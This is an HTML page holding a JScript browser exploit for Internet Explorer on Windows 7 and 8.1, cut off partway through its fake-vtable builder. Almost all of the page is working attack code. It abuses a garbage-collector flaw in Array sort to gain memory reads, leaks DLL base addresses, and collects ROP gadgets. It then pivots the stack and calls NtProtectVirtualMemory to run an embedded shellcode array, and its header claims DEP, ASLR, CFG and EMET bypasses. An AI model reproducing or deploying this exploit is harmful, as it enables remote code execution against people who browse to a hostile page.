<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
<script language="JScript.Compact">

/*

Bypasses: DEP, ASLR, CFG, EMET (EAF, EAF+, stack pivot protection)

*/


var EnableDebug = 0;
var EnableTimers = 0;
var WindowsVersion = 7;
var Shellcode = [ 0x68e58960, 0x00038f88, 0x00003be8, 0xb81a6800, 0xe8500006, 0x0000007c, 0x7068646a, 0x89656e77, 0x656e68e1, 0x6f680074, 0x682e7272, 0x2d747365, 0x726f6668, 0x77776872, 0xe2892e77, 0x5152006a, 0xd0ff006a, 0xc361ec89, 0x57e58955, 0x0030be56, 0xad640000, 0x8b0c408b, 0xfe891878, 0x04ebc031, 0x2874f739, 0x2474f685, 0x85245e8d, 0x8b1474db, 0xc985044b, 0x016a0d74, 0x015de851, 0x453b0000, 0x31067408, 0xeb368bc0, 0x10468bd7, 0xec895f5e, 0x0004c25d, 0x81e58955, 0x000230ec, 0x08458b00, 0x8bf84589, 0x4203f855, 0x04c0833c, 0x83f04589, 0x458914c0, 0x8bc289f4, 0x42030845, 0x644a8b60, 0x89d04d89, 0xc289fc45, 0x0308458b, 0x45892042, 0xfc558bec, 0x0308458b, 0x45892442, 0xfc558be4, 0x0308458b, 0x45891c42, 0x89c031e8, 0x4589e045, 0xfc458bd8, 0x3b18408b, 0x860fe045, 0x000000d2, 0x8de0458b, 0x0000850c, 0x558b0000, 0x08458bec, 0x89110403, 0x006ad445, 0x00bde850, 0x453b0000, 0xa1850f0c, 0x8b000000, 0x148de045, 0xe4458b00, 0x0204b70f, 0x00850c8d, 0x8b000000, 0x458be855, 0x11040308, 0x8bd84589, 0xca89fc4d, 0x39d05503, 0x397f7cc8, 0xc77b7dd0, 0x0000d845, 0xc9310000, 0xfdd09d8d, 0x148affff, 0x00fa8008, 0xfa802074, 0xc715752e, 0x6c642e03, 0x04c3836c, 0x8d0003c6, 0xfffed09d, 0xdeeb41ff, 0x43411388, 0x03c6d8eb, 0xd09d8d00, 0x6afffffd, 0x3ce85300, 0x50000000, 0xfffea3e8, 0x74c085ff, 0xdc458929, 0x958d006a, 0xfffffed0, 0x0021e852, 0xff500000, 0xd1e8dc75, 0x89fffffe, 0x0aebd845, 0xffe0458d, 0xff1fe900, 0x458bffff, 0x5dec89d8, 0x550008c2, 0x8b57e589, 0x7d8b084d, 0x80db310c, 0x14740039, 0x0c01b60f, 0xd0b60f60, 0xe3d1d301, 0x74ff8541, 0xe7eb41ea, 0x895fd889, 0x08c25dec, 0x00640000, ];
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 100 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
var SortArray = new Array(); // Array to be "sorted" by glitched method
var ReClaimNameList = ReClaimIndexNameList;

function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once.
    untracked_1 = VarSpray[SortDepth*2];
    untracked_2 = VarSpray[SortDepth*2 + 1];
    
    if(SortDepth > 150) {
        VarSpray = new Array(); // Erase VarSpray
        CollectGarbage(); // Free the GcBlocks
        UntrackedVarSet.push(untracked_1);
        UntrackedVarSet.push(untracked_2);
        return 0;
    }
    
    SortDepth += 1;
    SortArray[SortDepth].sort(GlitchedSort);
    UntrackedVarSet.push(untracked_1);
    UntrackedVarSet.push(untracked_2);
    return 0;
}

function NewUntrackedVarSet() {
    SortDepth = 0;
    VarSpray = new Array();
    NameListAnchors = new Array();
    UntrackedVarSet = new Array();
    for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
    for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
    CollectGarbage();
    SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine
}

var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(379).join('A');

function ReClaimIndexNameList(AnchorIndex, Value, PropertyName) {
    CollectGarbage(); // Cleanup
    AnchorObjectsBackup[AnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
    CollectGarbage(); // Free the leaked NameList
    AnchorObjectsBackup[AnchorIndex] = new Object();
    AnchorObjectsBackup[AnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
    AnchorObjectsBackup[AnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
    AnchorObjectsBackup[AnchorIndex]["\u0003"] = 1;
    AnchorObjectsBackup[AnchorIndex][PropertyName] = Value; // The mutable variable
}

function ReClaimBackupNameLists(AnchorIndex, Value, PropertyName) { // This function is assuming the leaked anchor index is within the range being freed/re-allocated
    CollectGarbage(); // Cleanup
    for(i = 0; i < NameListAnchorCount; i++) AnchorObjectsBackup[i] = null;//NameListAnchorCount
    CollectGarbage(); // Free the leaked NameList
    
    for(i = 0; i < NameListAnchorCount; i++) {
        AnchorObjectsBackup[i] = new Object();
        AnchorObjectsBackup[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
        AnchorObjectsBackup[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
        AnchorObjectsBackup[i]["\u0003"] = 1;
        AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable
    }
}

function CreateVar32(Type, ObjPtr, NextVar) {
   var Data = new Array(); // Every element of this array will be a WORD
   Data.push(Type, 0x00, 0x00, 0x00,
          ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF,
          NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF);
   return String.fromCharCode.apply(null, Data);
}

var MutableVar;

function LeakByte(Address) {
    ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}

function LeakWord(Address) {
    ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}

function LeakDword(Address) {
    ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
    var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    return LowWord + (HighWord << 16);
}

function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
    ReClaimNameList(LeakedAnchorIndex, ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment
    var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    ReClaimNameList(LeakedAnchorIndex, ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type
    var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
    return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field
}

function DiveModuleBase(Address) {
    var Base = (Address & 0xFFFF0000) + 0x4e; // Set to starting search point
    
    while(true) {
		if(LeakWord(Base) == 0x6854) { // 'hT'
			if(LeakWord(Base + 2) == 0x7369) { // 'si'
				return (Base - 0x4E);
			}
		}
        
        Base -= 0x10000;
    }
    
    return 0;
}

var TimeStart = 0;

function StartTimer() {
	TimeStart = new Date().getTime();
}

function EndTimer(Message) {
	var TotalTime = (new Date().getTime() - TimeStart);
	if(EnableTimers) console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(8));
}

function Exploit() {
    // Initialization
    
	if(WindowsVersion == 8.1) {
		ReClaimNameList = ReClaimBackupNameLists;
	}
	
	StartTimer();

    for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method
    var LFHBlocks = new Array();

    // Trigger LFH for a size of 0x648

    for(i = 0; i < 50; i++) {
        Temp = new Object();
        Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes
        LFHBlocks.push(Temp);
    }
    
	EndTimer("LFH");
	
    // New set of untracked vars in freed GcBlock
    
	StartTimer();
	
    NewUntrackedVarSet(); // Consistently 460 total
    DebugLog("total untracked: " + UntrackedVarSet.length.toString(8));
    // Re-claim with type confusion NameLists
    
    for(i = 0; i < NameListAnchorCount; i++) {
        NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
        NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
        NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
        NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
    }
    
	EndTimer("UntrackedVarSet - 1");
	StartTimer();
	
    // Leak final VVAL address from one of the NameLists
    
    AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer
    
	EndTimer("Anchor backup");
	StartTimer();
	
    var LeakedVvalAddress = 0;
    
    for(i = 0; i < UntrackedVarSet.length; i++) {
        if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] > 0x1000) {
            LeakedVvalAddress = UntrackedVarSet[i];
            break;
        }
    }

	EndTimer("VAR scan - 1");
	
    if(LeakedVvalAddress != 0) {
        DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16));
        var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.

        for(i=0; i < 46; i++) {
            PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress, 0);
        }
        
        while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a

        // New set of untracked vars in freed GcBlock
        
		StartTimer();
        NewUntrackedVarSet();
        
        // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)
        
        for(i = 0; i < NameListAnchorCount; i++) {
            NameListAnchors[i][PrimaryVvalPropName] = 1;
        }
        
		EndTimer("UntrackedVarSet - 2");
		StartTimer();
		
        // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
        
        var LeakedVvalVar;

        for(i = 0; i < UntrackedVarSet.length; i++) {
            if(typeof UntrackedVarSet[i] === "number") {
                LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
                LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
                break;
            }
        }
        
        DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
        
        // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
        
        ReClaimNameList(LeakedAnchorIndex, 0x11, "A");
        
        if(LeakedVvalVar + "" == 0x11) {
			EndTimer("VAR scan 2");
            DebugLog("Leaked anchor object re-claim verification success");
            // Create the mutable variable which will be used throughout the remainder of the exploit
        
            ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x3, 0x22, 0));
            
            var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.

            for(i=0; i < 46; i++) {
                PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct
            }
            
            while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
            
            // New set of untracked vars in freed GcBlock
            
			StartTimer();
            NewUntrackedVarSet();
            
            // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
            
            for(i = 0; i < NameListAnchorCount; i++) {
                NameListAnchors[i][PrimaryVvalPropName] = 1;
            }
			
			EndTimer("UntrackedVarSet - 3");
			StartTimer();
			
            for(i = 0; i < UntrackedVarSet.length; i++) {
                if(typeof UntrackedVarSet[i] === "number") {
                    if(UntrackedVarSet[i] + "" == 0x22) {
                        MutableVar = UntrackedVarSet[i];
                        break;
                    }
                }
            }
            
            // Verify the mutable var can be changed via simple re-claim
            
            ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x3, 0x33, 0));
            
            if(MutableVar + "" == 0x33) {
				// Test arbitrary read primitive
				
				EndTimer("VAR scan 3");
				DebugLog("Verified mutable variable modification via re-claim");
				
				if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself.
					// Derive jscript.dll base from leaked Object vtable
				
					DebugLog("Memory leak test successful");
					StartTimer();
					
					var DissectedObj = new Object();
					var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj);
					var VtableAddress = LeakDword(ObjectAddress);
					
					DebugLog("Leaked vtable address: " + VtableAddress.toString(16));
					
					var JScriptBase = DiveModuleBase(VtableAddress);
					
					if(JScriptBase != 0) {
						EndTimer("JScriptBase base leak");
						// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
						
						DebugLog("Leaked JScript base address: " + JScriptBase.toString(16));
						
						StartTimer();
						//var VirtualProtectAddress = ResolveImport(JScriptBase, 0x4e52454b, 0x32334c45, 0x74726956, 0x506c6175, 0);
						var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, 0x4e52454b, 0x32334c45, 0, 0, 0);
						
						if(Kernel32ImportX != 0) {
							//DebugLog("Successfully resolved VirtualProtect at 0x" + VirtualProtectAddress.toString(16));
							
							var Kernel32Base = DiveModuleBase(Kernel32ImportX);
							
							if(Kernel32Base != 0) {
								EndTimer("Kernel32Base base leak");
								DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16));

								StartTimer();
// NtProtoectVirtualMemry IAT index in kernel32 is much less in Win8.1 (130 works in Win7)
								var NtProtectAddress = ResolveImport(Kernel32Base, 0, 0x6c64746e, 0x6c642e6c, 0x7250744e, 0x6365746f, 0); // 'rPtN' 'ceto'
								
								if(NtProtectAddress != 0) {
									EndTimer("NtProtoectVirtualMemry resolution");
									DebugLog("Successfully resolved NtProtoectVirtualMemry address from kernel32.dll IAT: " + NtProtectAddress.toString(16));

									StartTimer();
									var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, 0x6376736d, 0x642e7472, 0, 0, 0);
									var MsvcrtBase = DiveModuleBase(MsvcrtImportX);
									EndTimer("MsvcrtBase base leak");
									StartTimer();
									var RopGadgetSet = ResolveGadgetSet(MsvcrtBase);
									EndTimer("ROP gadget resolution");
									//RopGadgetSet.StackPivot= Number(0x82867) + MsvcrtBase;
									
									StartTimer();
									var ShellcodeStr = TableToUnicode(Shellcode);
									ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length);
									var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr);
									var FakeVtablePaddingSize = 0x1000; // 64KB should be plenty to accomodate stack usage within shellcode
									//var WritableStr = "AAAAAAAA"; // 16 bytes total needed
									var WritableStr = "";
									WritableStr += ConvertDwordArrayToBytes([0]);
									WritableStr += ConvertDwordArrayToBytes([ShellcodeAddress]);
									WritableStr += ConvertDwordArrayToBytes([0x5000]);
									WritableStr += ConvertDwordArrayToBytes([0]);
									WritableStr = WritableStr.substr(0, WritableStr.length);
									var WritableAddress = LeakObjectAddress(LeakedVvalAddress, WritableStr);
								   
									var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs
									//var FakeVtable = TempVtableTest(FakeVtablePaddingSize, 0x400, RopGadgetSet);
									
									DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16));
									
									FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs
									
									// VAR in VVAL will be a type 0x80 to a type 0x81 VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll
									
									// Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length
									
									var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize);
									EndTimer("Building shellcode, fake vtable, writable objects");
									DebugLog("fake vtable address: " + FakeVtableAddress.toString(16));

									ReClaimNameList(LeakedAnchorIndex, 0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // Must be 0x81 not 0x80
									
									//DebugLog("done calling hasitem for array");
									//alert("Calling HasItem of MutableVar... using vtable: " + FakeVtableAddress.toString(16));
									//DllPathAddreess in MutableVar;
									alert("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16));
									typeof MutableVar;
									alert("really done");
								}
								else {
									DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT");
								}
							}
							else {
								DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16));
							}
						}
						else {
							DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT");
						}
					}
					else {
						DebugLog("Failed to leak JScript.dll base address");
					}
				}
				else {
					DebugLog("Memory leak test failed");
				}
            }
            else {
                DebugLog("Failed to verify mutable variable modification via re-claim");
            }
        }
        else {
            DebugLog("Failed to extract final VVAL index via re-claim");
        }
    }
    else {
        DebugLog("Leaked anchor object type confusion re-claim failed");
    }
}

function DebugLog(Message) {
    if(EnableDebug) { // Switch is below
        alert(Message);
        //console.log(Message); // In IE, console only works if devtools is open.
    }
}

function HarvestGadget(ScanAddress, MaxOffset, Data, DataMask, MagicOffset) {
    var Offset = 0;
    var LeakAddress = ScanAddress + MagicOffset;
	var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered
	
	if(DataMask == 0x0000FFFF) {
		//LeakFunc = LeakWord;
	}
    
    if((LeakFunc(LeakAddress) & DataMask) == Data) {
        DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
    }
    else {
	alert("FATAL DIDNT FIND AT DELTA");
        LeakAddress = 0;
        //DebugLog("Scanning for sequence " + Data.toString(16) + " at " + ScanAddress.toString(16));
        while(Offset < MaxOffset) {
            LeakAddress = ScanAddress + Offset;
            if((LeakFunc(LeakAddress) & DataMask) == Data) {
                alert("Found gadget at " + LeakAddress.toString(16));
                break;
            }
            
            Offset += 1;
        }
    }
    
    return LeakAddress;
}

function ResolveNtProtectProxyStub() {
/*
7725001A | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
77250021 | 83C4 04                  | add esp,4                               |
77250024 | C2 0800                  | ret 8                                   |
77250027 | 90                       | nop                                     |
77250028 | E9 BB0857BF              | jmp 367C08E8                            | <- NtProtectVirtualMemory
7725002D | CC                       | int3                                    |
7725002E | CC                       | int3                                    |
7725002F | 8D5424 04                | lea edx,dword ptr ss:[esp+4]            |
77250033 | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
7725003A | 83C4 04                  | add esp,4                               |
7725003D | C2 1400                  | ret 14                                  |
77250040 | B8 4E000000              | mov eax,4E                              | 4E:'N'
77250045 | 33C9                     | xor ecx,ecx                             |
77250047 | 8D5424 04                | lea edx,dword ptr ss:[esp+4]            |
7725004B | 64:FF15 C0000000         | call dword ptr fs:[C0]                  |
77250052 | 83C4 04                  | add esp,4                               |
77250055 | C2 1400                  | ret 14                                  |
*/
}
////////
// Dynamically resolve gadget addresses via delta from export addresses
// MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+

function ResolveGadgetSet(MsvcrtBase) {
    var GadgetSetObj = new Object();
    //EnableDebug = 1;
	
    DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16));
    
    // XCHG EAX, ESP; RET
    // For Win7:
    // __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5
    //For Win8.1: 
    //__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0

    // Due to binary search of EAT, it cannot be assumed that __libm_sse2_log10 will be checked prior to __libm_sse2_log10f
    var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x31676f6c, 0x00000030]); // 'il__' 's_mb' '_2es' '1gol' '0'
	var StackPivotHint = ExportPair[0];
	var StackPivotMax = ExportPair[1];
    DebugLog("Stack pivot hint: " + StackPivotHint.toString(16));
    var MaxOffset = StackPivotMax - MsvcrtBase;
    DebugLog("Stack pivot hint end: " + StackPivotMax.toString(16) + " max offset of " + MaxOffset.toString(16));
	var MagicOffset = 0x4f0; // Win7
	
	if(WindowsVersion == 8.1) {
		MagicOffset = 0x4e5;
	}
	
    GadgetSetObj.StackPivot = HarvestGadget(StackPivotHint, MaxOffset, 0xc394, 0x0000FFFF, MagicOffset);
    
    if(GadgetSetObj.StackPivot != 0) {
        DebugLog("Stack pivot resolved to: " + GadgetSetObj.StackPivot.toString(16));
        GadgetSetObj.RopNop = (GadgetSetObj.StackPivot + 1);
        
        // PUSHAD; RET
        // Win7
        // __pxcptinfoptrs:0x00065ced (+0x7) <- 0x00065cf4 -> (+0x7) raise:0x00065cfb
        // Win8.1
        // __pxcptinfoptrs:0x00082b10 (+0x7) <- 0x00082b17 -> (+0xd9) raise:0x00082bf0
        
		// POPAD; AAS; RET
		// Win7
		// __libm_sse2_tan:0x000953a1 (+0xf0d) <- 0x000962ae -> (+0x9e7) __libm_sse2_tanf:0x00096c95
		// Win8.1
		// __libm_sse2_tan:0x00046aa0 (+0xede) <- 0x0004797e -> (+0x9f2) _wfopen_s:0x00048370
		
		/*
		
		POPAD 
		758D62AD | 7C 61                    | jl msvcrt.758D6310                      |
		758D62AF | 3F                       | aas                                     |
		758D62B0 | C3                       | ret                                     |
		
		Pushad
		
		758A5CED | E8 DC48FAFF              | call msvcrt.7584A5CE                    |
758A5CF2 | 83C0 60                  | add eax,60                              |
758A5CF5 | C3                       | ret                                     |

		*/
		
        // MOV EAX, [EAX]; POP ESI; POP EBP; RET
        // Win7
        // _waccess_s:0x00024738 (+0x3e) <- 0x00024776 -> (+0x1a) _waccess:0x00024790
        // Win8.1
        // fopen_s:0x00094cd0 (+0x4c) <- 0x00094d1c -> (+0x14) _fwprintf_l:0x00094d30
        
        // POP EAX; RET
        // Win7/8 (+0x13 and same export on both)
        // _safe_fdivr:0x00031821 (+0x13) <- 0x00031834 -> (+0x208) _adj_fprem:0x00031a3c
		
		// POP ECX; RET
		// Win7/8.1 same delta (0x7)
		// _flushall:0x0001364f (+0x7) <- 0x00013656 -> (+0x54) exit:0x000136aa
		
		//EnableDebug = 1;
		
		// __px cpti nfop trs
		// xp__ itpc pofn srt

		/*
		var ExportPair = ResolveExport(MsvcrtBase, [0x78705f5f, 0x69747063, 0x706f666e, 0x00737274]); // 
		var PushadHint = ExportPair[0];
		var PushadMax = ExportPair[1];
		var MaxOffset = PushadMax - MsvcrtBase;
		alert("PUSHAD hint: " + PushadHint.toString(16));
		alert("PUSHAD max: " + PushadMax.toString(16));
		GadgetSetObj.Pushad = HarvestGadget(PushadHint, MaxOffset, 0xc360, 0x0000FFFF, 0x00000007);
		
		var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x006e6174]); // 'il__' 's_mb' '_2es' 'nat'
		var PopadHint = ExportPair[0];
		var PopadMax = ExportPair[1];
		var MaxOffset = PopadMax - MsvcrtBase;
		GadgetSetObj.Popad = HarvestGadget(PopadHint, MaxOffset, 0xc33F61, 0x00FFFFFF, 0x00000f0d);
		alert("POPAD; AAS; RET hint: " + GadgetSetObj.Popad.toString(16));
		alert("POPAD; AAS; RET max: " + PopadMax.toString(16));
		*/
		var ExportPair = ResolveExport(MsvcrtBase, [0x6661735f, 0x64665f65, 0x00727669]); // 'fas_' 'df_e' 'rvi'
		var PopEaxHint = ExportPair[0];
		var PopEaxMax = ExportPair[1];
		var MaxOffset = PopEaxMax - MsvcrtBase;
		DebugLog("POP EAX hint: " + PopEaxHint.toString(16));
		DebugLog("POP EAX max: " + PopEaxMax.toString(16));

		GadgetSetObj.PopEax = HarvestGadget(PopEaxHint, MaxOffset, 0xc358, 0x0000FFFF, 0x00000013); // Win7/8.1 have same offset
		
		var ExportPair = ResolveExport(MsvcrtBase, [0x756c665f, 0x6c616873, 0x0000006C]); // 'ulf_' 'lahs' 'l'
		var PopEcxHint = ExportPair[0];
		var PopEcxMax = ExportPair[1];
		var MaxOffset = PopEcxMax - MsvcrtBase;
		GadgetSetObj.PopEcx = HarvestGadget(PopEcxHint, MaxOffset, 0xc359, 0x0000FFFF, 0x00000007); // Win7/8.1 have same offset
		DebugLog("POP ECX hint: " + GadgetSetObj.PopEcx.toString(16));
		DebugLog("POP ECX max: " + PopEcxMax.toString(16));
    }
    
    return GadgetSetObj;
}

function TempVtableTest(FakeVtablePaddingSize, VtableSize, RopGadgetSet) {
    var FakeVtable = "";
    var X = 0;
    var Y = 0;
    var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);

    DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16));
    
    while (FakeVtable.length < TotalObjLen) {
        if(X < FakeVtablePaddingSize) {
            FakeVtable += ConvertDwordArrayToBytes([0x11111111]);
        }
        else {
            if(Y == 0x9c) {
                FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
            }
            else if(Y == 0x98) {
                //FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEcx]);
            }
            else {
                //FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]);
            }
            
            Y += 4;
        }
        
        X += 4;
    }
	return FakeVtable;
}

function CreateFakeVtable(FakeVtablePaddingSize, VtableSize, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress) {
    // NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); 
    // [Padding]
    // [ROPNOP sled]
    // [Stack alignment gadget]
    // [Stack pivot]
	// [PUSHAD]
    // [Set EAX to 0x4D]
    // [NtProtoectVirtualMemry]
    // [Shellcode address] <- NtProtoectVirtualMemry return
    // [NtProtoectVirtualMemry parameters]
	// [POPAD]
    // [Stack pivot]
    // [Padding]
    
    var FakeVtable = "";
    var X = 0;
    var Y = 0;
    var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);

    DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16));
    
    while (FakeVtable.length < TotalObjLen) {
        if(X < FakeVtablePaddingSize) {
            FakeVtable += ConvertDwordArrayToBytes([0x11111111]);
        }
        else {
            if(Y == 0x9c) {
                FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
            }
            else if(Y == 0x98) {
                FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEcx]);
            }
            else {
                FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]);
            }
            
            Y += 4;
        }
        
        X += 4;
    }
    
	//FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.Pushad]);
    
    // Layout of storage address region
    // +0x0 | Original ESP
    // +0x4 | Shellcode address
    // +0x8 | Shellcode size
    // +0xC | Old protection
    
    //FakeVtable += ConvertDwordArrayToBytes([SaveEspGadget]);
    FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
	
	if(WindowsVersion == 8.1) {
		FakeVtable += ConvertDwordArrayToBytes([0x4F]); // Windows 8.1 NtProtectVirtualMemory SYSCALL #
		FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress + 0x15]); // 0x15 is offset to next export skipping over MOV EAX, #
	}
	else {
		FakeVtable += ConvertDwordArrayToBytes([0x4D]); // Windows 7 SP0/SP1 NtProtectVirtualMemory SYSCALL #
		FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress + 29]); // 29 (0x1D) is offset to next export skipping over MOV EAX, #
	}
    
    FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address
    FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]);
    FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]);
